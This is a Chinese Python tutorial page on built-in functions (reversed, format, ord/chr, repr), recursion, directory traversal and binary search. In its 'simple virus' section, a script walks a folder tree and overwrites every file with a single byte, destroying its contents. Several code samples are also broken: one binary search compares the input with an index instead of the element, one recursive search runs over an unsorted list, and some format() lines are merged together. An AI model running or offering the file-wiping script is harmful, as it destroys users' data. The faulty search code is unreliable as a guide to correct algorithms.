我的编程空间,编程开发者的网络收藏夹
学习永远不晚

day 14 内置函数二

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

day 14 内置函数二

1.昨日的补充
reversed    翻转, 将一个序列翻转,返回翻转序列的迭代器
lst = ["河南话", "四川话", "东北", "山东", "上海"]
 
n = reversed(lst)
print(list(n))
判断是不是回文
huiwen = "上海自来水来自海上"
 
# s = huiwen[::-1]   #切片的翻转
s1 = reversed(huiwen)   ###返回的是迭代器
n =""
for i in s1:
    n += i
print(n)
slice  切片  ###麻烦
lst = ["河南话", "四川话", "东北", "山东", "上海"]
s = slice(3, 5)
print(lst[s])
format()  与具体数据相关,用于计算各种小数,精算等
#格式化输出
s = "我叫{name}, 我来自{home}, 我喜欢干{hobby}".format(name="周杰伦", home="台湾", hobby="唱歌")
print(s)
# 字符串 和center 相同   对齐
 
# s = "门神"
# s1 = s.center(20)
# print(s1)
 
print(format('test', '<20')) # 左对⻬ 
print(format('test', '>20')) # 右对⻬
 print(format('test', '^20')) # 居中
 # 数值 
print(format(3, 'b')) # ⼆进制 
print(format(97, 'c')) # 转换成unicode字符 
print(format(11, 'd')) # ⼗进制 
print(format(11, 'o')) # ⼋进制 
print(format(11, 'x')) # ⼗六进制(⼩写字⺟) 
print(format(11, 'X')) # ⼗六进制(⼤写字⺟) 
print(format(11, 'n')) # 和d⼀样 
print(format(11)) # 和d⼀样 
# 浮点数 (重点,主要运用在金融计算)
print(format(123456789, 'e')) # 科学计数法. 默认保留6位⼩数 
print(format(123456789, '0.2e')) # 科学计数法. 保留2位⼩数(⼩写) print(format(123456789, '0.2E')) # 科学计数法. 保留2位⼩数(⼤写) print(format(1.23456789, 'f')) # ⼩数点计数法. 保留6位⼩数 
print(format(1.23456789, '0.2f')) # ⼩数点计数法. 保留2位⼩数 print(format(1.23456789, '0.10f')) # ⼩数点计数法. 保留10位⼩数 print(format(1.23456789e+10000, 'F')) # ⼩数点计数法.
ord() 输入字符找带字符编码的位置
# 找到对应字符的编码位置
print(ord('a')) 
print(ord('中'))
chr() 输入位置数字找出对应的字符
# 找到对应编码位置的字符 
print(chr(97)) 
print(chr(20013))
ascii() 是ascii码中的返回该值 不是就返回\u...
# 在ascii中就返回这个值. 如果不在就返回\u... 
print(ascii('a')) 
print(ascii('好'))
转义字符
\n 换行
\t tab 制表符
\r 回车
\" 双引号
\' 单引号
\\ ---> \
print('你好, 我叫周杰伦.我来自\\n台湾. 我老婆叫昆凌')
repr() 返回⼀个对象的string形式, 还原字符串最官方的效果
r 原封不动的显示字符串
# repr 就是原封不动的输出, 引号和转义字符都不起作⽤ 
print(repr('⼤家好,\n \t我叫周杰伦')) 
print('⼤家好我叫周杰伦') 
# %r 原封不动的写出来 
name = 'taibai' 
print('我叫%r' % name)
str:python的字符串
repr: 所有的字符串
print(repr("你好. \\n我叫\周杰伦"))  # python -> repr() -> cpython c里面. 报错
 
print(r"\n\t范德萨发生\r\b\ffdsaf")  # 原封不动的显示字符串
递归
递归就是函数自己调用自己,递归必须要有入口(参数)和出口(return)
def func():
    print("我是递归")
    func()
树形结构的遍历
import os
 
def func(lujing, n): # "d:/a/"
    lst = os.listdir(lujing) # 打开文件夹. 列出该文件夹内的所有文件名
    for el in lst: # el是文件的名字.  b, c
        # 还原文件路径
        path = os.path.join(lujing, el) # "d:/a/b"
        if os.path.isdir(path): # 判断路径是否是文件夹
            print("..." * n,el) # 显示文件夹的名字
            func(path, n + 1)  # 在来一次  ################
        else:
            print("\t" * n,el) # 显示文件
 
func("d:/a", 0)
简易的病毒
import os
def func(lujing, n): # d:/a/b
    lst = os.listdir(lujing)
    for el in lst: # b, c
        # 路径
        path = os.path.join(lujing, el) # 拼接路径 d:/a/b
        # 判断是文件还是文件夹
        if os.path.isdir(path):
            print("\t" * n, el)
            func(path, n+1)
        else:
            f = open(path, mode="wb")  ##路径写入
            f.write(b'1')    #通过修改字节
            print("\t" * n, el)
 
 
func("d:/a/", 0)
二分法
掐头结尾取中间,规则: 掐头结尾取中间,数据必须是有序序列
查找效率非常高
###通过循环列表跟输入的数字进行比较
lst = [1,3,5,7,12,36,68,79] # 数据集 百万级数据
num = int(input("请输入一个数字:"))
for i in lst:
    if i == num:
        print("这个数存在")
        break
else:
    print("这个数不存在")
二分法查找(需要明白和掌握)
lst = [1,3,5,7,12,36,68,79]
     0 1 2 3  4  5  6 7     #通过索引最左加上最右地板除取中间
num = int(input("请输入一个数字:"))
 
lift = 0
right = len(lst) -1
 
while lift <= right:
    mid = (lift + right) // 2
    if num > mid:
        lift = mid + 1
    elif num < mid:
        right = mid -1
    else:
        print('存在')
        break
else:
    print('不存在')
递归的方法一:  通过索引列表的索引
#递归
def func(n, lst):
    lift = 0
    right = len(lst)
    if lst != []:
        mid = (lift+right) // 2
        if n > lst[mid]:
            func(n, lst[mid+1:])
        elif n < mid:
            func(n, lst[:mid])
        else:
            print("存在")
            return
    else:
        print('不存在')
        return
n = int(input("请输入一个数字:"))
func(n, [1,3,5,7,12,36,68,79])
递归二(需要明白和掌握)
def func(n, lst, left, right): # 递归找到什么是可以变的. 什么是不可以变的
    if left <= right:
        mid = (left + right) // 2
        if n > lst[mid]:
            left = mid + 1
            return func(n, lst, left, right)
        elif n < lst[mid]:
            right = mid - 1
            return func(n, lst, left, right) # 递归如果有返回值. 所有调用递归的地方必须写return
        else:
            print("找到了")
            return mid  # 难点
    else:
        print("找不到")
        return -1
 
n = int(input("请输入你要查找的数:"))
lst = [1,3,55,98,37,41,2,5,1,4]
ret = func(n, lst, 0, len(lst)-1) # 78
print(ret)
最快的查找
lst = [1,3,55,98,37,41,2,5,1,4]
 
new_lst = []
for i in range(99):
    new_lst.append(0)
 
 
for i in lst:    # 1,3,55,98
    new_lst[i] = 1
 
print(new_lst)
 
 
i = int(input('请输入你要找的数据'))
if new_lst[i] == 0: # 1次
    print("不存在")
else:
    print("存在")
 

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

day 14 内置函数二

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

day 14 内置函数二

1.昨日的补充reversed    翻转, 将一个序列翻转,返回翻转序列的迭代器lst = ["河南话", "四川话", "东北", "山东", "上海"] n = reversed(lst)print(list(n))判断是不是回文hu
2023-01-30

day 16 - 2 内置函数(二)练习

内置函数(二)练习1、用 map 来处理字符串列表,把列表中所有人都变成 sb,比方 alex_sbname=['alex','wupeiqi','yuanhao','nezha'] name=['alex','wupeiqi','yuan
2023-01-30

day 15 - 1 内置函数

内置函数作用域相关 locals() globals()#这两组开始容易搞混print(locals()) #返回本地作用域中的所有名字print(globals()) #返回全局作用域中的所有名字# global 变量 这两个是用
2023-01-30

内置函数

目录 内置函数(掌握) 掌握 了解 面向对象知识点 更多内置函数:https://docs.python.org/3/li
2023-01-31

golang函数的内置函数

内置函数是 go 核心的预定义函数,可轻松执行常见任务,例如类型转换、字符串处理和数学运算。具体来说,它们包括:类型转换函数,允许在不同类型之间转换,如 string、int 和 float64。字符串处理函数,支持获取长度、提取子字符串、
golang函数的内置函数
2024-04-21

数据类型内置(二)

list1,用途:多个装备,多个爱好,多门课程,2.定义:[]内可以有多个任意类型的值,逗号分隔元素优先掌握1.安索引取值2.切片3.长度4.成员运算in和not in5.追加append6.删除del7.循环需要掌握1.insert2.p
2023-01-31

python 内置函数

python内置了一系列的常用函数,以便于我们使用python。基本的数据操作基本都是一些数学运算(当然除了加减乘除)、逻辑操作、集合操作、基本IO操作,然后就是对于语言自身的反射操作,还有就是字符串操作。官方文档:https://docs
2023-01-30

python内置函数

什么是内置函数? 就是python给你提供的,拿来直接用的函数, 比如print 和 input等等. 截止到python版本3.6.2 python一共提供了68个内置函数. 他们就是python直接提供给我们的,有一些我们已经见过了.
2023-01-30

【MySQL】内置函数

文章目录 一、日期函数1.1 日期函数的基本使用1.2 案例11.3 案例2 二、字符串函数三、数学函数四、其他函数 一、日期函数 1.1 日期函数的基本使用 获取当前日期与日期 mysql> select current
2023-08-18

Python的内置函数

1.什么是内置函数?  就是python给你提供的. 拿来直接⽤的函数, 比如print., input等等. 截止到python版本3.6 python一共提供了68个内置函数. 他们就是python直接提供给我们的Makedown地址:
2023-01-31

PHP 内置函数 var_dump()

内置的 PHP 函数 var_dump() 可以检索标量和复合变量的信息。对于每个变量,它将显示变量的数据类型和值。对于字符串变量,var_dump() 还将检索字符串的长度或大小,如果变量是数组或对象,信息将递归显示。本篇文章介绍 PHP
PHP 内置函数 var_dump()
2024-02-27

Python之内置函数

'''内置函数 :    作用域相关(2) :        locals : 返回当前局部作用域内的所有内容        globals : 返回全局作用域内的所有内容    基础数据类型相关(38) :        和数字相关 : 
2023-01-31

python内置函数1

1.r=compile(s,"","exec")  compile()将字符串编译成python代码2.exec(r)  执行python代码3.eval("8*6") eval("")里面只能执行表达式,执行eval()会
2023-01-31

匿名函数,内置函数,闭包

内容匿名函数:一句话函数,比较简单的函数。 函数名 = lambda 参数 : 返回值此函数不是没有名字,他是有名字的,他的名字就是你给其设置的变量,比如func。 func() 函数执行lambda 是定义匿名函数的关键字,相当于函数的d
2023-01-31

PHP 函数的内置函数有哪些?

php 提供了一系列内置函数,用于处理字符串、日期、错误和数学计算。这些函数包括(但不限于):字符串处理(strlen、strtoupper、strpos、substr)日期处理(date、strtotime、strftime)错误处理(t
PHP 函数的内置函数有哪些?
2024-04-10

python内置函数3-dir()

Help on built-in function dir in module __builtin__:dir(...)    dir([object]) -> list of strings        If called withou
2023-01-31

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录